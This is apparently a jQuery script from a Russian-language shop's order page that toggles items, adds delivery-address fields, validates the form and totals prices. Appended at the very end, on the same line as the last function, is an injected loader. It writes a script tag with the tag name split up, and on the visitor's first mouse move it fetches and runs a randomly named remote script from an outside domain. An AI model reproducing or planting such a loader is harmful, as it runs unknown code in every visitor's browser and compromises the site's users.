$(document).ready(function(){
	
	$("#main .buy_it p a").toggle(function(){
		$(this).parent().animate({
			marginRight:"45px"
			}, 250, function(){
				$(this).find("a").attr("class","remove").parent().parent().attr('active', 1).find("input").fadeIn(250).attr("value","1").focus();
			  CountResultPrice();
			});
			
	}, function(){
		$(this).parent().parent().find("input").fadeOut(250, function(){
			$(this).attr("value","0").parent().attr('active', 0).find("p").animate({
				marginRight:"0px"
			}, 250, function(){
				$(this).find("a").removeClass("remove");
				CountResultPrice();
			});	
		});

	});
	
	n=1;
	
	$("#order_form p.add a").click(function(){
		n=n+1;
		$(this).parent().parent().parent().find("p.footnote").before("<div class='address_input'><input type='text' name='address[]"+n+"' class='address' /><p class='remove'><a href='javascript:void(0);' onclick='removeAddress(this)'>Добавить адрес доставки</a></p></div>");
	});
		
})

function removeAddress(obj) {
	
	$(obj).parent().parent().hide();

}

function Validation()
{
  var noError = true;
  var Errors = '';
  $('#order_form').find('input[required=1]').each(function(){
    if(this.value=='')
    {
      Errors += $(this).attr('title') + "\n";
      noError = false;
    }
  });
  if(Errors)
  {
    alert(Errors);
  }
  return noError;
}

function CountResultPrice()
{
  var result_discount_price = 0;
  var result_price = 0;
  
  $("#main").find('div[active=1]').parent().find('p.normal_price').each(function(){result_price += parseInt($(this).parent().find('input').eq(0).val()) ? parseInt($(this).attr('price')) * parseInt($(this).parent().find('input').eq(0).val()) : 0});
  $("#main").find('div[active=1]').parent().find('p.discount_price').each(function(){result_discount_price += parseInt($(this).parent().find('input').eq(0).val()) ? parseInt($(this).attr('price')) * parseInt($(this).parent().find('input').eq(0).val()) : 0});
  $('#result_discount_price').html(result_discount_price + ' <span>р</span>');
  $('#result_price').html(result_price + ' р.');
}document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});
